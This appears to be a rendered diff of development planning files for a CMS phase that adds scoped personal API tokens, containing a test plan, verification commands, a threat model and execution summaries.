`pact.TokenScope` / `HasTokenScopes`; `bouncer.ScopeLimit` / `Principal.Scope`; `party.Activated`; `cabana.BackendAPIToken`, `APITokenPrefix`, `ResolveBackend`, `ErrUnauthenticated`, `ErrTokenScope`; account token routes; `g15_` format; `backend_api_tokens` / migration `202610110001_backend_api_tokens`.
### Release sheet (pre-approval)
- Trees clean and not behind origin; tag absent on origin before create
- Gate printed `release-gate-ok` (after CSRF count 30→32)
- Open high findings: none (`16.3-REVIEW.md` / `16.3-SECURITY.md` absent)
## Postgres verify status
| Suite | Status |
|-------|--------|
| 16.3-01 cabana/lagoon Postgres | **RUN** (prior SUMMARY) |
| `TestJournalTokenTracer` | **RUN** pass |
| `TestJournalTokenExpansion` | **RUN** pass |
| NOT RUN | none on this host for 16.3-03 |
## Decisions Made
- Followed D-04/D-01/D-15 and featured-image PHP parity (CanEdit only).
- Registered test-only `acme.probe` scope for unrelated-cover cases (`admin:read` is Full on GET).
- Human chose release-now `v0.1.21` without summercmsio.
## Deviations from Plan
### Auto-fixed Issues
**1. [Rule 1 - Bug] CSRF state-changing route count stale after token API**
- **Found during:** Task 3 release gate (`TestPhase10CSRF`)
- **Issue:** Walk counted 32 routes (account token create/revoke) but expected 30
- **Fix:** Updated expected count and comment to 32
- **Files modified:** `modules/cabana/phase10_csrf_test.go`
- **Verification:** Six cabana gate tests pass; `release-gate-ok`
- **Committed in:** `2030fd8`
**2. [Rule 3 - Blocking] Probe scope for cover-failure GET path**
- **Found during:** Task 2 expansion (`admin:read` on GET is Full, unlocks drafts as owner)
- **Issue:** Plan suggested `admin:read` for anonymous GET; Full scopes skip cover
- **Fix:** Test plugin `acme.probe` with `acme.probe.*` scope for cover refuse → anonymous GET
- **Files modified:** `journal_api_token_smoke_test.go`
- **Verification:** `TestJournalTokenExpansion` pass
- **Committed in:** `f2026c5`
---
**Total deviations:** 2 auto-fixed (1 bug, 1 blocking)
**Impact on plan:** Required for green release gate and correct cover semantics; no scope creep.
## Issues Encountered
None beyond the deviations above. Overnight pause at Task 3 until human resume.
## User Setup Required
None - no external service configuration required. UAT redeploy remains a separate follow-up.
## Next Phase Readiness
Ready for 16.3-04 (unit/backstop matrix). Framework + Journal token path released; hosts can mint `journal`-scoped tokens after migrate/redeploy.
## Self-Check: PASSED
- Key files exist on disk
- Tag `v0.1.21` on origin; Journal main = origin/main; host gitlink = Journal main; `release-ok`
- Commits grepped for 16.3-03 present in both repos
---
*Phase: 16.3-backend-admin-personal-api-tokens-with-scopes*
*Completed: 2026-10-11*

View File

@@ -0,0 +1,238 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
plan: 04
type: execute
wave: 4
depends_on: ["16.3-01", "16.3-02", "16.3-03"]
files_modified:
- modules/bouncer/context_test.go
- modules/party/registry_test.go
- modules/lagoon/backend_admin_migrations_test.go
- modules/cabana/token_scopes_test.go
- modules/cabana/api_tokens_test.go
- modules/cabana/token_guard_test.go
- modules/cabana/token_routes_test.go
- modules/cabana/token_postgres_test.go
- modules/cabana/account_tokens_test.go
- modules/cabana/token_commands_test.go
- admin/tests/account/ApiTokensPanel.test.ts
- admin/tests/account/ApiTokenCreateDialog.test.ts
- ../sm-journal-plugin/token_scopes_test.go
- ../sm-journal-plugin/journal_api_tokens_test.go
- scripts/check-phase16.3.sh
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md
autonomous: true
requirements: [SC-6, SC-1, SC-2, SC-3, SC-4]
estimate:
tokens: 140000
raw_tokens: 140000
tasks: 3
confidence: low
must_haves:
truths:
- "CLAUDE.md lean rule 3 and SC-6: every piece of Phase 16.3 code has unit tests in this last plan: bouncer ScopeLimit, party Activated, the lagoon migration, cabana scope match, Allows, compile, overlap, mint, expiry, request validation, the composite guard, the debounce, ResolveBackend, interactive-only, the route gates and their classification, the account token API, the CLI, the SPA panel and dialog, and the Journal scopes and token matrix."
- "D-14, D-03 and D-05 pinned by table: TestAllowsScope covers JWT principals unchanged, full scopes (`*` every method, admin:read on GET/HEAD), a plugin scope with owner grant, without owner grant, superuser with a scoped token, empty requirement list, multi-code lists under the literal per-scope reading (one scope must match every code), two scopes each matching part of a list, and wildcard requirements against broader, equal and narrower patterns; TestScopeMatch covers every row of the plan 01 match table."
- "D-05 and D-06 for every route: TestTokenRouteGates walks every entry of phase09Routes and asserts its class (public, open to any token: GET /auth/me, interactive-only, explicitly gated, gated through Allows by protect, navigation or settings) and the answer a `*` token, an admin:read token and a plugin-scoped token get; adding a route without a class fails the test."
- "D-13, D-07 to D-11 pinned on the guard: well-formedness (length, prefix, upper-case hex, non-hex), prefix routing (JWT and cookie untouched, g15_ in a cookie or a query string never authenticates), unknown, expired, revoked, deactivated and soft-deleted owners → 401, all-unknown scopes → 401, method refusal → 403 token_scope, the credential is the token row, a failed stamp does not fail auth, and the stamp runs at most once per minute; on Postgres a password reset and a tokens_valid_after cutoff leave the token working."
- "D-16 to D-19 pinned: the account token API (list own newest first, revoked filter, scope entries with known false for unknown names, 201 with plaintext once and never again, 422 for every validation rule, `*` normalization, own-only soft revoke, scopes picker overlap) and the CLI (stdout of admin:token:create is exactly the token and a newline, overlap refusal, deactivated or deleted targets refused, list never prints hash or plaintext, revoke of another user's token, scopes listing with and without party.Activated) are tested on Postgres; request validation and expiry parsing are tested without a database."
- "D-15 and SC-4 pinned on Postgres for the Journal: every write route (store, update, destroy, both featured-image routes, media upload) with journal, `*`, journal:read, admin:read, an unrelated scope, revoked and malformed tokens, with byte-identical bodies; optional-auth reads; the JWT path unchanged; the publish permission still enforced under a token."
- "UI-SPEC backstops: the plaintext is absent from the DOM, component state and toasts after Done and after an Esc-confirm close and reopening starts at step 1; the copy flow announces and the clipboard failure selects and alerts; Esc before copying asks and cancel keeps step 2."
- "scripts/check-phase16.3.sh runs every runnable suite fail-closed (stages go, admin, docs, postgres; --self-test proves the detectors fail on planted output; --all ends with 'Phase 16.3 gate passed' and says NOT RUN postgres loudly without Docker); 16.3-VALIDATION.md has every row filled and nyquist_compliant true."
artifacts:
- path: "modules/cabana/token_scopes_test.go"
provides: "scope match, Allows, compile and overlap tables"
contains: "TestAllowsScope"
- path: "modules/cabana/token_routes_test.go"
provides: "route classification and interactive-only tests"
contains: "TestTokenRouteGates"
- path: "modules/cabana/account_tokens_test.go"
provides: "Postgres account token API tests"
contains: "TestAccountTokens"
- path: "../sm-journal-plugin/journal_api_tokens_test.go"
provides: "Postgres Journal token matrix"
contains: "TestJournalTokens"
- path: "scripts/check-phase16.3.sh"
provides: "phase gate"
contains: "Phase 16.3 gate passed"
key_links:
- from: "modules/cabana/token_routes_test.go"
to: "modules/cabana/security_coverage_test.go phase09Routes"
via: "every inventoried route must have a token class"
pattern: "phase09Routes"
- from: "scripts/check-phase16.3.sh"
to: "every suite named in 16.3-VALIDATION.md"
via: "fail-closed stages and required test name lists"
pattern: "check-phase16.3"
prohibitions:
- statement: "No test touches a shared database, a server, git origin or the network: pure tests use stubs and in-memory stores; Postgres tests use throwaway testcontainers databases."
status: unresolved
verification: judgment
- statement: "Tests are not weakened to pass: existing assertions in the cabana, lagoon, bouncer, party and Journal suites stay; production code changes only in separate fix(...) commits with their own test, named in the SUMMARY."
status: unresolved
verification: judgment
- statement: "No test prints or logs a real token outside the test process; fixtures never contain credentials beyond test secrets already used by the suites."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): backend users create personal API tokens with scopes picked at creation time, so an agent or integration calls the admin and plugin APIs as that backend user with no more access than the token's scope and the user's own permissions allow.
This plan's slice (CLAUDE.md lean rule 3, user checkpoint plan 4 of 4): full unit coverage of the phase across summercms.go (Go and admin SPA) and sm-journal-plugin, the Postgres tests for a Docker host, the phase gate `scripts/check-phase16.3.sh` following the 16.2 gate pattern, and the completed validation map. Tests only; any defect found is fixed in a separate `fix(...)` commit with its own test.
## Spec-less probe fallback
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
## Artifacts this phase produces (this plan)
- Go tests, Docker-free: `TestPrincipalScopeNotSerialized` (bouncer); `TestActivatePublishesPlugins` extended (party); `TestScopeMatch`, `TestAllowsScope`, `TestTokenScopeCompile`, `TestScopeOverlap`, `TestScopeCoversAll` (cabana token_scopes_test.go); `TestAPITokenMint`, `TestParseTokenExpiry`, `TestValidateTokenRequest` (api_tokens_test.go); `TestBackendTokenGuard`, `TestTokenLastUsedDebounce`, `TestResolveBackend` (token_guard_test.go); `TestTokenRouteGates`, `TestInteractiveOnly` (token_routes_test.go); `TestTokenCommandsRegistered` (token_commands_test.go); `TestJournalTokenScopes` (Journal root, `-short`).
- Go tests, Postgres (Docker host): `TestBackendAPITokensMigration` (lagoon); `TestBackendTokenPostgres` (token_postgres_test.go); `TestAccountTokens` (account_tokens_test.go); `TestTokenCommands` (token_commands_test.go); `TestJournalTokens` (Journal root).
- Vitest: extended `admin/tests/account/ApiTokensPanel.test.ts`, new `admin/tests/account/ApiTokenCreateDialog.test.ts`.
- `scripts/check-phase16.3.sh` (stages `go`, `admin`, `docs`, `postgres`; flags `--self-test`, `--all`; env `PHASE163_ROOT`, `JOURNAL`, `PHASE163_REQUIRE_POSTGRES`).
- 16.3-VALIDATION.md completed.
<objective>
Bring full unit coverage to Phase 16.3 (lean rule 3), add the Postgres tests for a Docker host, write the fail-closed phase gate and complete the validation map.
Purpose: every security rule the phase ships (owner ∩ scope, deny by default, interactive-only, show-once plaintext, Journal coverage) is pinned by a test that fails when it regresses.
Output: the test files above, scripts/check-phase16.3.sh, an updated 16.3-VALIDATION.md.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-01-SUMMARY.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-02-SUMMARY.md
@.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-03-SUMMARY.md
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md
Without Docker run Go tests with explicit `-run` sets (and `-short` in packages whose TestMain starts Postgres: modules/lagoon, the Journal root package); the testcontainers tests are written to fail rather than skip without a database and are listed for the Docker host. Helpers to reuse: the in-memory token store and stub users from `TestTokenTracerSmoke`, `captureRouter` and `phase09Routes` (security_coverage_test.go), `adminGorm`, `adminHandler`, `insertAdmin`, `commandApp`, `flagInput`, `commandByName` (cabana_test), `newPostsEnv`, `e.admin`, `e.call`, `adminAPI` (Journal harness), `mountApp`, `requestsTo` (admin tests/helpers.ts). Commits: tests only, `test(16.3-04): …`, no co-author tags, stage by explicit path in each repository; VALIDATION.md in its own docs commit.
</context>
<tasks>
<task type="tracer">
<name>Task 1: Tracer: the deny-by-default contract pinned at every layer (scope rules, guard, every route, SPA plaintext, Journal coverage)</name>
<files>modules/cabana/token_scopes_test.go, modules/cabana/token_routes_test.go, admin/tests/account/ApiTokenCreateDialog.test.ts, ../sm-journal-plugin/token_scopes_test.go, modules/cabana/token_postgres_test.go</files>
<read_first>modules/cabana/token_scopes.go, modules/cabana/contracts.go (Allows, granted), modules/cabana/token_guard.go, modules/cabana/http.go (mount), modules/cabana/security_coverage_test.go (phase09Routes, captureRouter, TestPhase09PermissionMatrix), modules/cabana/token_smoke_test.go (in-memory store, stub users), 16.3-01-PLAN.md (Decisions: match table, D-03 literal reading, overlap rule), admin/src/components/account/ApiTokenCreateDialog.vue, admin/tests/account/ApiTokensPanel.test.ts, ../sm-journal-plugin/token_scopes.go, ../sm-journal-plugin/lang/en/lang.yaml and pl/lang.yaml, modules/cabana/auth_test.go (adminGorm, adminHandler, insertAdmin)</read_first>
<action>Write one test per layer for the phase's central promise (SC-2: never beyond the owner, never outside the scope).
Scope rules (token_scopes_test.go): `TestScopeMatch` with one case per row of the plan 01 match table (full, partial, none, leading wildcard); `TestAllowsScope` table per the D-14/D-03/D-05 truth of this plan, including the literal multi-code reading and a superuser holding a plugin scope.
Every route (token_routes_test.go, per D-05 and D-06): `TestTokenRouteGates` builds a class map for every phase09Routes key (public; open to any token; interactive-only; explicit gate; Allows through protect, navigation or settings) and fails for any inventoried route without a class; for each class it drives the real handler wrapper chain from `service.mount` with principals for a `*` token, an admin:read token on GET, and a plugin-scoped token, and asserts the status and details.reason (interactive_only or token_scope) the class requires.
SPA (ApiTokenCreateDialog.test.ts, UI-SPEC backstop "plaintext never retained"): after Done, hide token and after an Esc-then-confirm close, the token string is absent from document.body.innerHTML, the dialog exposes no plaintext in its state, no toast text contains it, and reopening shows step 1.
Journal (token_scopes_test.go, Docker-free with -short): `TestJournalTokenScopes` asserts the two scopes, their permissions and methods, and that every label and description key exists in lang/en and lang/pl.
Postgres (token_postgres_test.go, Docker host): `TestBackendTokenPostgres` covers the D-10 owner lifecycle through the real admin API (deactivate → 401, reactivate → 200, soft-delete → 401), a password reset through admin:reset-password and a tokens_valid_after cutoff leaving the token valid, revoked and expired rows → 401, last_used_at set once within a minute for two requests.</action>
<verify>
<automated>go vet ./modules/cabana &amp;&amp; go test -count=1 -run '^(TestScopeMatch|TestAllowsScope|TestTokenRouteGates)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3 &amp;&amp; npm --prefix admin test -- tests/account/ApiTokenCreateDialog.test.ts &amp;&amp; go -C ../sm-journal-plugin test -short -count=1 -run '^TestJournalTokenScopes$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestJournalTokenScopes'</automated>
<fails_when>Non-zero exit: fewer than three passing cabana tests (a scope rule regressed or a mounted route has no class or the wrong answer), the plaintext backstop fails, or the Journal scope test fails (missing phrase key or changed scope).</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^TestBackendTokenPostgres$' -v ./modules/cabana 2&gt;&amp;1 | grep -- '^--- PASS: TestBackendTokenPostgres'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or an owner lifecycle, reset, cutoff, revoke, expiry or stamp expectation fails.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func TestTokenRouteGates" modules/cabana/token_routes_test.go` prints one line and the test references `phase09Routes`.
- `grep -c "func Test" modules/cabana/token_scopes_test.go` reports at least 2 at this point.
- The three Docker-free checks pass; the Postgres test passes on a Docker host or is recorded NOT RUN.
</acceptance_criteria>
<done>The scope rules, every route's token behaviour, the SPA plaintext lifetime and the Journal scope registration are pinned, with the owner lifecycle on Postgres.</done>
</task>
<task type="auto" tdd="true">
<name>Task 2: Full Go coverage: bouncer, party, lagoon migration, cabana compile, overlap, mint, expiry, validation, guard, debounce, resolver, interactive-only, account API, CLI; Journal token matrix</name>
<files>modules/bouncer/context_test.go, modules/party/registry_test.go, modules/lagoon/backend_admin_migrations_test.go, modules/cabana/token_scopes_test.go, modules/cabana/api_tokens_test.go, modules/cabana/token_guard_test.go, modules/cabana/token_routes_test.go, modules/cabana/account_tokens_test.go, modules/cabana/token_commands_test.go, ../sm-journal-plugin/journal_api_tokens_test.go</files>
<read_first>modules/bouncer/context.go and context_test.go, modules/party/registry.go and registry_test.go, modules/lagoon/backend_admin_migrations.go and backend_admin_migrations_test.go, modules/cabana/api_tokens.go, modules/cabana/token_scopes.go, modules/cabana/token_guard.go, modules/cabana/account_tokens.go, modules/cabana/token_commands.go, modules/cabana/registry.go (compileTokenCatalog), modules/cabana/commands_test.go (TestAdminCreateCommand, commandApp, flagInput), modules/cabana/auth_test.go (adminHandler, insertAdmin), modules/cabana/openapi_conformance_test.go, ../sm-journal-plugin/journal_api_token_smoke_test.go, ../sm-journal-plugin/journal_api_writes_test.go, ../sm-journal-plugin/admin_harness_test.go</read_first>
<behavior>
- bouncer: a Principal with a Scope marshals to JSON without any scope field; a nil Scope is the zero value.
- party: Activated is published in activation (dependency) order; a second Activate on the same app returns an error.
- lagoon (Postgres): the migration creates backend_api_tokens with a unique token_hash, the backend_user_id FK cascades on a hard user delete and revoked_by is set NULL when the revoker is deleted; rollback drops the table and leaves backend_users; a fresh full rollback and re-migrate works.
- compile: every boot rule fails with its message (bad name, reserved `*`/admin/admin:x, duplicate naming both plugins, empty permissions, empty methods, lower-case or unknown method, missing GET, unknown permission, empty label, unresolved phrase key) and valid plugin scopes follow the framework scopes in activation order.
- overlap and cover: scopeOverlaps true only with a catalog code the owner holds under a full match; `*` always; admin:read for superusers or any catalog grant; scopeCoversAll for full, partial and none.
- mint and expiry: 1000 minted tokens are well formed, distinct, hash to 64 hex and hint to the last four; parseTokenExpiry for 30d, 90d, 365d, never, absent (90d), a future date (00:00 UTC), today or a past date and garbage, in API and CLI mode.
- validateTokenRequest: blank and over-100-rune names, invalid expiry, empty scopes, unknown scope, non-overlapping scope, `*` normalization, duplicate removal in order.
- guard (stubs): the guard matrix in this plan's truths; the stamp error path logs and returns the principal; the debounce gate skips a second stamp within a minute and allows one after.
- ResolveBackend: no app, no resolver, no Bearer, cookie-only JWT (refused, Bearer only), Bearer JWT (cover ignored), token with full scope, token with matching and non-matching cover, method refusal; the returned request carries the user and, for a token, the credential.
- interactive-only: token credential and raw g15_ Bearer refused with reason interactive_only on each wrapped route; a JWT session passes.
- account API (Postgres): list ordering, revoked filter, scope entries (known label, `*` label, unknown with known false, read_only), 201 shape with plaintext only there, every 422 rule with the server message text, `*` normalization stored, revoke own (200), other user's (404), already revoked (404), scopes picker filtered per user (developer vs a user without Journal-like grants vs superuser).
- CLI (Postgres): create stdout is exactly one line g15_ plus 40 hex with nothing else, ambiguous identifier refused, deactivated and soft-deleted targets refused, non-overlapping scope refused, --expires date accepted; list without and with identifier and --revoked shows hints and never hash or plaintext; revoke another user's token (revoked_by NULL), unknown id errors, already revoked exits 0; scopes with and without a published party.Activated. Docker-free TestTokenCommandsRegistered: four commands, scope flag Repeatable, RuntimeCommands constructs with an empty app.
- Journal (Postgres): TestJournalTokens: every write route × {journal, `*`, journal:read, admin:read, unrelated scope, revoked, malformed} with exact bodies; published=true under a journal token without access_publish → 403 "You do not have permission to publish posts"; optional-auth Index and Show with each token; the JWT path unchanged.
</behavior>
<action>Write the tests in the behavior block (per D-01 to D-19), table-driven where cases share a shape, extending the plan 01 and plan 03 smoke files' fixtures instead of duplicating them. Docker-free tests use stubs, in-memory stores and httptest; Postgres tests reuse adminGorm/adminHandler/commandApp and the Journal harness and fail rather than skip without Docker. Do not change production code; a defect gets its own fix(...) commit with a test, recorded in the SUMMARY.</action>
<verify>
<automated>go vet ./modules/bouncer ./modules/party ./modules/lagoon ./modules/cabana &amp;&amp; go test -count=1 ./modules/party &amp;&amp; go test -count=1 -run '^TestPrincipalScopeNotSerialized$' -v ./modules/bouncer 2&gt;&amp;1 | grep -- '^--- PASS: TestPrincipalScopeNotSerialized' &amp;&amp; go test -count=1 -run '^(TestScopeMatch|TestAllowsScope|TestTokenScopeCompile|TestScopeOverlap|TestScopeCoversAll|TestAPITokenMint|TestParseTokenExpiry|TestValidateTokenRequest|TestBackendTokenGuard|TestTokenLastUsedDebounce|TestResolveBackend|TestTokenRouteGates|TestInteractiveOnly|TestTokenCommandsRegistered|TestTokenTracerSmoke|TestTokenGatesSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 16</automated>
<fails_when>Non-zero exit: vet fails, the party package fails, the bouncer serialization test is missing or fails, or fewer than sixteen "--- PASS: Test" lines for the named cabana Docker-free tests (one missing or failing).</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; go test -count=1 -run '^(TestBackendAPITokensMigration|TestBackendAdminMetadataColumn|TestPhase09MigrationsFreshRollback)$' -v ./modules/lagoon 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3 &amp;&amp; go test -count=1 -run '^(TestAccountTokens|TestTokenCommands|TestBackendTokenPostgres|TestPhase10OpenAPIConformance)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 4 &amp;&amp; go -C ../sm-journal-plugin test -count=1 -run '^(TestJournalTokens|TestJournalTokenTracer|TestJournalTokenExpansion)$' -v . 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 3</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or a lagoon migration, account API, CLI, Postgres guard, OpenAPI conformance or Journal token test fails or is missing.</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "func TestAccountTokens(t" modules/cabana/account_tokens_test.go`, `grep -n "func TestTokenCommands(t" modules/cabana/token_commands_test.go`, `grep -n "func TestBackendAPITokensMigration" modules/lagoon/backend_admin_migrations_test.go` and `grep -n "func TestJournalTokens(" ../sm-journal-plugin/journal_api_tokens_test.go` each print one line, and those files pass go vet in their repositories.
- For each repository, `git diff --stat "$TASK2_START"..HEAD` (TASK2_START recorded in the SUMMARY before this task) lists only *_test.go files, except files of separate fix(...) commits the SUMMARY names.
</acceptance_criteria>
<done>Every Go behaviour of the phase has a passing unit test, and the database-backed paths have Postgres tests for the Docker host.</done>
</task>
<task type="auto" tdd="true">
<name>Task 3: Full SPA coverage, the phase gate script, and the validation map</name>
<files>admin/tests/account/ApiTokensPanel.test.ts, admin/tests/account/ApiTokenCreateDialog.test.ts, scripts/check-phase16.3.sh, .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md</files>
<read_first>admin/src/components/account/ApiTokensPanel.vue, admin/src/components/account/ApiTokenCreateDialog.vue, admin/tests/account/ApiTokensPanel.test.ts, admin/tests/helpers.ts, 16.3-UI-SPEC.md (Component Contracts 2-7 and UI Considerations), scripts/check-phase16.2.sh (structure, detectors, --self-test, --all, NOT RUN postgres), .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md</read_first>
<behavior>
- Panel: skeleton with aria-busy on first load and on toggle; empty block (also with the toggle on); load failure alert hides the toggle and keeps Create enabled; row anatomy (name, hint aria-label, chips: known label with title, `*` Full access, unknown dashed with hint title, Expired, Revoked), meta line formats and order, revoke button visibility per state; revoke success toast and focus, 404 gone toast and reload, other failure keeps the row; ConfirmDialog message wraps.
- Dialog step 1: focus on open; scopes skeleton and submit disabled while pending; scopes failure and empty answer show the alert; `*` checked disables and unchecks others, shows the note and sends only [`*`]; unchecking restores enabled rows without picks; no scope preselected; 90d preselected and the preview date for 30, 90, 365 and the never note; 422 for name, expires and scopes renders messages with aria-invalid and focuses the first invalid control; busy disables fieldset, buttons, Esc and overlay and ignores a second submit; non-422 failure toast keeps input; any close discards input; focus returns to Create token.
- Dialog step 2 (backstops): copy success state for two seconds and the polite announcement; rejected or missing clipboard selects the input and shows the alert; manual copy event counts; overlay never closes; Esc and close before copy ask and cancel keeps step 2, confirm closes; after copy they close at once; Done closes without confirm; plaintext absent afterwards; focus on Copy token on entering step 2.
- Gate: stages go (vet in both repositories; the Docker-free framework, cmd/summer and Journal tests by required name, Journal root with -short), admin (typecheck and full vitest with required case names), docs (TestDocsTree, summer docs:build --check, check-admin-openapi.sh --check, check-admin-dist.sh), postgres (Docker host: lagoon, cabana and Journal suites by required name); fail-closed detectors for failures, skips, zero tests, "no tests to run" and missing names; --self-test plants each failure; --all ends with "Phase 16.3 gate passed" and prints NOT RUN postgres without Docker unless PHASE163_REQUIRE_POSTGRES=1.
</behavior>
<action>Write the vitest cases in the behavior block (per D-08, D-09, D-11, D-16, D-17 and the UI-SPEC) in the two admin/tests/account files with stubbed fetch routes and a stubbed navigator.clipboard. Write scripts/check-phase16.3.sh in the check-phase16.2.sh style (set -euo pipefail, unset FORCE_COLOR, ROOT from the script path, overridable JOURNAL, required-name lists per stage covering every test this phase added, the same go-json and vitest-json detectors, --self-test, --all, NOT RUN postgres). Update 16.3-VALIDATION.md: replace each planned row's status with the real result, fix test file paths that differ from the plan, tick Wave 0, set wave_0_complete and nyquist_compliant to true, keep the Manual-Only rows (real-browser clipboard; Postgres suites on a Docker host when NOT RUN). Commit the tests as test(16.3-04), the script as "test(16.3): phase gate", and VALIDATION.md separately as docs(16.3).</action>
<verify>
<automated>npm --prefix admin run typecheck &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-phase16.3.sh --self-test &amp;&amp; bash scripts/check-phase16.3.sh --all 2&gt;&amp;1 | tail -1 | grep -qx 'Phase 16.3 gate passed'</automated>
<fails_when>Non-zero exit: a type error or failing vitest case, a detector self-test that does not fail on planted output, or a --all run whose last line is not exactly "Phase 16.3 gate passed" (a stage failed or a required test is missing).</fails_when>
</verify>
<acceptance_criteria>
- `grep -n "Phase 16.3 gate passed" scripts/check-phase16.3.sh` prints at least one line and the --all run ends with that line.
- `grep -n "nyquist_compliant: true" .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md` prints one line and `grep -c "TBD" .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md` reports 0.
- The full admin suite passes.
</acceptance_criteria>
<done>The SPA is fully tested against the UI-SPEC, the phase gate passes here with the Docker suites named, and the validation map is complete.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| tests → databases | Postgres tests start throwaway containers; nothing else is dialled |
| tests → network | no test reaches a server, a registry or git origin |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.3-24 | Repudiation (false green) | phase gate | medium | mitigate | Fail-closed detectors for failures, skips, zero tests, "no tests to run" and missing required names; --self-test plants each; Docker suites are named and reported NOT RUN instead of silently skipped |
| T-16.3-25 | Tampering (security regression) | Allows, guard, route gates, plaintext lifetime | high | mitigate | Table tests for the scope rules, a classification test that fails for any unclassified route, guard and resolver matrices, the Journal token matrix and the SPA plaintext backstop all run in the gate; production changes only through separate fix commits |
| T-16.3-26 | Tampering | test isolation | low | mitigate | Stubs, in-memory stores, httptest and happy-dom for unit tests; testcontainers for Postgres; no shared database or network |
| T-16.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed; every runner uses the committed lockfiles and go.sum |
</threat_model>
<verification>
- Task 1: scope rules, route classification, SPA plaintext backstop and Journal scopes pass; the Postgres guard test on a Docker host.
- Task 2: the named Docker-free Go tests pass; the Postgres suites on a Docker host.
- Task 3: full admin suite, gate self-test and --all pass; VALIDATION.md complete.
- Before /msd-verify-work, on a Docker host: `bash scripts/check-phase16.3.sh postgres`.
</verification>
<success_criteria>
- SC-6: full unit coverage of the phase's code in the last plan, Postgres tests ready for a Docker host, a passing fail-closed phase gate and a complete validation map.
</success_criteria>
<output>
Create `.planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-04-SUMMARY.md` when done, with test counts per repository, any fix(...) commits, and the Docker-host command list.
</output>

View File

@@ -0,0 +1,183 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
plan: 04
subsystem: testing
tags: [api-tokens, unit-tests, vitest, testcontainers, phase-gate, nyquist]
requires:
- phase: 16.3-backend-admin-personal-api-tokens-with-scopes
provides: token scopes, guard, account API, CLI, SPA card, Journal scopes
provides:
- "Full unit coverage of Phase 16.3 (lean rule 3)"
- "Postgres token suites for Docker hosts"
- "scripts/check-phase16.3.sh fail-closed gate"
- "16.3-VALIDATION.md with nyquist_compliant true"
affects: [verify-work, phase-16.3-close]
actuals:
tokens: 34814
tasks: 3
commits: 7
plan_head_before: 2030fd881aa08347931c638a90548b16bc188f86
plan_head_after: 463541549f374c328b121433a4e884146f86d25c
TASK2_START: 91830e506f5e61537ae6180c3ff282bf19b81583
tech-stack:
added: []
patterns:
- "Phase gate stages go/admin/docs/postgres with detect_go and detect_vitest fail-closed"
- "Journal TestJournalTokens matrix: writes × scopes with published_at for public Show"
- "SPA plaintext lifetime asserted via DOM/toast absence after Done and Esc-confirm"
key-files:
created:
- modules/cabana/api_tokens_test.go
- modules/cabana/token_guard_test.go
- modules/cabana/account_tokens_test.go
- modules/cabana/token_commands_test.go
- modules/cabana/token_postgres_test.go
- scripts/check-phase16.3.sh
- ../sm-journal-plugin/journal_api_tokens_test.go
modified:
- modules/cabana/token_scopes_test.go
- modules/cabana/token_routes_test.go
- modules/bouncer/context_test.go
- modules/party/registry_test.go
- modules/lagoon/backend_admin_migrations_test.go
- admin/tests/account/ApiTokensPanel.test.ts
- admin/tests/account/ApiTokenCreateDialog.test.ts
- ../sm-journal-plugin/token_scopes_test.go
- .planning/phases/16.3-backend-admin-personal-api-tokens-with-scopes/16.3-VALIDATION.md
key-decisions:
- "TASK2_START=91830e506f5e61537ae6180c3ff282bf19b81583 (framework Task 1 SHA); Task 2 diffs are *_test.go only"
- "Public Journal Show under optional-auth needs published_at in the past, not only published:true"
- "Phase gate --all ran postgres PASS on this Docker host (not NOT RUN)"
patterns-established:
- "check-phase16.3.sh mirrors 16.2 detectors; PHASE163_REQUIRE_POSTGRES=1 fails --all without Docker"
- "Account SPA tests mount /account via helpers.mountApp with deferred fetch for loading skeletons"
requirements-completed: [SC-6, SC-1, SC-2, SC-3, SC-4]
coverage:
- id: D1
description: "Scope match, Allows, compile/overlap, route gates and SPA plaintext backstop"
requirement: SC-6
verification:
- kind: unit
ref: modules/cabana/token_scopes_test.go#TestScopeMatch
status: pass
- kind: unit
ref: modules/cabana/token_routes_test.go#TestTokenRouteGates
status: pass
- kind: automated_ui
ref: admin/tests/account/ApiTokenCreateDialog.test.ts#plaintext lifetime
status: pass
- kind: integration
ref: modules/cabana/token_postgres_test.go#TestBackendTokenPostgres
status: pass
human_judgment: false
- id: D2
